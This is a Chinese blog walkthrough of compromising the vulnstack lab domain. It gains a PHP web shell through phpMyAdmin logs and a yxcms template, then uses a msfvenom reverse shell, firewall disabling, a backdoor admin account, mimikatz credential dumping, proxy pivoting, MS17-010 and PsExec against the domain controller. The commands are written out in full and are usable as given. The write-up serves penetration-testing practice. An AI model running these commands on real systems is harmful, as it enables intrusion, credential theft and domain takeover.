vulnstack 红队一

环境搭建

配置网卡

编辑->虚拟网络编辑器

QQ截图20201212181654

自定义为仅主机模式

配置win7网络

添加两块网卡,一块为VMnet1(仅主机模式),一块为VMnet8(net模式连通外网)

配置VMnet1网卡 (win7)

QQ截图20201212182018

DNS服务器是windows server的ip, vulnstack配置好了

使用win7 ping一下 windows server, 能ping同则成功

配置好后加入域

控制面板->系统安全->系统->高级系统设置, 加入域时会提示已有域用户,登录即可.

此时kali win7都使用VMnet8 都处于同一网段下, 都可访问外网

kali

QQ截图20201212182930

win7

QQ截图20201212182900

拿下win7

如果访问不了网站可能是防火墙的原因, 将apache mysql的程序全部允许通过防火墙即可

目录扫描

QQ截图20201212183749

phpmyadmin

弱口令弱口令登录(root root)

  1. 日志拿shell

    1
    2
    3
    4
    5
    6
    7
    查看日志状况 show variables like "%log%"
    开启日志 set global general_log='on'
    修改日志路径 set global general_log_file='C:\\phpStudy\\WWW\\test2.php'
    查看开启情况 show variables like "general_log%"

    写入shell
    select "<?php eval($_POST[123]);?>"
  2. yxcms

    1
    发现备份文件, 是yxcms 版本 1.2.1

yxcms

1
2
3
4
5
6
访问index.php?r=admin登录后台
admin 123456

在前台模板 index_index.php中插入一句话

访问http://192.168.137.129/yxcms/即可getshell

进入内网

建立shell

  1. msf

    1
    2
    生成windows x64木马
    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=攻击机ip LPORT=12345 -f exe -o hack.exe

    QQ截图20201213180407

    1
    2
    3
    4
    5
    6
    7
    建立监听
    use exploit/multi/handler
    set payload windows/x64/meterpreter/reverse_tcp
    注意对应x64
    set LHOST 目标机ip
    set LPORT 12345
    run

    QQ截图20201213181446

    1
    在蚁剑中执行 start hack.exe

QQ截图20201213180336

  1. 进程迁移
1
2
3
4
5
6
7
8
当执行hack.exe后进程是十分容易被发现的
migrate -N explorer.exe 迁移到任务管理器中
原先的hack.exe进程也会消失

设置反弹shell后自动迁移
set autorunscript migrate -N explorer.exe
或者
set autorunscript migrate -f (默认迁移到记事本)

开启远程登录

关闭防火墙

输入shell进入windows的cmd

如果有乱码, 可以输入chcp 65001(65001就是utf-8, 将cmd的编码和kali统一)

查看防火墙状态

netsh firewall show state

QQ截图20201213185542

​ 关闭防火墙

netsh firewall set opmode disable

​ 开启3389端口

1
2
不知道为啥 kali上反弹的shell不能执行这个命令, 只能使用蚁剑执行
REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

​ 添加用户

1
2
net user test 123root! /add
net localgroup administrators test /add

​ 远程登录

QQ截图20201213211727

信息收集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ipconfig /all 查询ip 域信息
systeminfo 查询系统信息
net config Workstation 查询计算机信息, 域信息
net user 本机用户
net user /domain 查询域用户
net view /domain:god god是域名, 查看域主机名
net user test /domain 查询域内test用户
net user /domain test 123 修改test用户密码为123
net group /domain 查询域工作组
net group 组名 /domain 查询域中某工作组
net group "domain admins" /domain 查询域管理员
net group "domain controllers" /domain 查看域控制器
tasklist 查询进程 是否有杀毒软件之类的
......

域内主机存活探测

  1. ICMP协议

    1
    2
    3
    4
    也就是ping命令
    进入shell执行
    for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL"
    探测存活主机

    QQ截图20201217204020

  2. msf的udp_probe

    需要添加socks代理, 在后面

    1
    2
    3
    4
    use auxiliary/scanner/discovery/udp_probe
    set rhosts 192.168.52.0/24
    set threads 5
    run

    QQ截图20201217203619

发现DNS server一般为域控

QQ截图20201213215114

提权

QQ截图20201213220021

这里提权十分简单, 实际情况可能更复杂

获取密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
自带模块
post/windows/gather/smart_hashdump
使用mimikatz
load mimikatz 加载模块
mimikatz_command -f sekurlsa::searchPasswords 获取明文密码
使用kiwi
load kiwi
creds_all 获取密码
kiwi_cmd mimikatz命令 可以使用mimikatz所有命令
kiwi_cmd sekurlsa::logonpasswords

上传mimikatz获取明文
https://github.com/gentilkiwi/mimikatz/releases
上传文件
meterpreter > upload /home/alanlitl//mimikatz_trunk/x64/mimikatz.exe C:\\phpStudy\\WWW\\yxcms
进入windows的shell运行mimikatz
提升权限
privilege::debug
获取密码
sekurlsa::logonPasswords

横向移动

添加路由

1
2
meterpreter > run autoroute -s 192.168.52.0/24 内网网段
meterpreter > run autoroute -p 查看添加的路由

QQ截图20201215021729

添加socks4代理

1
2
3
4
5
6
7
将上面的进程移到后台(千万不能结束或者新建msf窗口)
background 或者 session 2(未使用的session数字) 添加到后台

use auxiliary/server/socks4a
set srvhost kali的ip
set srvport 1080(如果创建失败可能是端口占用, 使用其他端口即可)
run

QQ截图20201215022358

1
2
修改/etc/proxychains.conf文件
改为自己socks的ip port即可

QQ截图20201215022445

QQ截图20201215145101

1
2
前面已经找到了内网的其他主机
192.168.52.141和192.168.52.138

Win 2K3

1
2
3
4
5
6
7
8
9
use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set rhost 192.168.52.141

成功拿下
但是执行mimikatz时却失败了

但我们在前面已经拿到了密码
2313root! 我更改过

QQ截图20201215181738

拿下域控

开始在kali上使用exploit/windows/smb/psexec模块一直失败, 以为是模块问题, 结果是域控防火墙开着, 只能在win7上使用PsExec.exe进行登录

psexec

下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec

上传

QQ截图20201220215210

在已经拿下的win7上执行(远程桌面)

1
2
PsExec.exe \\192.168.52.138 -u liukaifeng01 -s cmd.exe  输入密码后进入交互shell
一定要加-s以system权限执行

QQ截图20201220231352

这时已经相当于拿下域控了, 我们现在开启远程桌面

关闭域控防火墙

查看防火墙状态(win8 开始就有了不同的防火墙命令)

QQ截图20201220215515

关闭防火墙

QQ截图20201220231352

现在就可以使用msf远程登录了

要在开启proxychains代理的情况下

1
2
3
4
5
6
use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/bind_tcp (这里要使用主动连接, 域控在内网里面.我们无法访问)
set rhosts 192.168.52.138
set smbpass 2313root!
set smbuser liukaifeng01
run

QQ截图20201220231430

远程连接域控

1
2
3
4
设置远程桌面端口
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f
开启远程桌面
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1

在windows下配置代理

使用proxifier(网上有许多教程)

屏幕截图 2020-12-21 000138

QQ截图20201221000109

其中address是你的kali的ip, kali要先搭建好proxychains

代理好后,在浏览器访问192.168.52.99或者192.168.52.138

如果能访问则代理成功

这里还遇到一个小坑, 输入账号的时候不能使用直接使用liukaifeng01,要使用GOD\liukaifeng01, 否则就会提示密码错误

错误的账户

QQ截图20201220235829

使用正确的账户登录

QQ截图20201220235852

远程连接成功

QQ截图20201220235906

使用 ms17-010

在关闭防火墙的情况下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
proxychains msfconsole   使用代理启动msf
use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp 不出网使用正向连接
set rhost 192.168.2.138 域ip
run


msf5 exploit(windows/smb/ms17_010_psexec) > run
|S-chain|-<>-192.168.3.130:1080-<><>-192.168.2.138:445-<><>-OK

[*] 192.168.2.138:445 - Target OS: Windows Server 2008 R2 Datacenter 7601 Service Pack 1
[*] 192.168.2.138:445 - Built a write-what-where primitive...
[+] 192.168.2.138:445 - Overwrite complete... SYSTEM session obtained!
[*] 192.168.2.138:445 - Selecting PowerShell target
[*] 192.168.2.138:445 - Executing the payload...
[+] 192.168.2.138:445 - Service start timed out, OK if running a command or non-service executable...
[*] Started bind TCP handler against 192.168.2.138:4444
|S-chain|-<>-192.168.3.130:1080-<><>-192.168.2.138:4444-<><>-OK
[*] Sending stage (176195 bytes) to 192.168.2.138
[*] Meterpreter session 1 opened (0.0.0.0:0 -> 192.168.3.130:1080) at 2021-01-21 18:07:19 +0800

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

成功获取拿下域

参考:https://www.cnblogs.com/g0udan/p/12411937.html


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!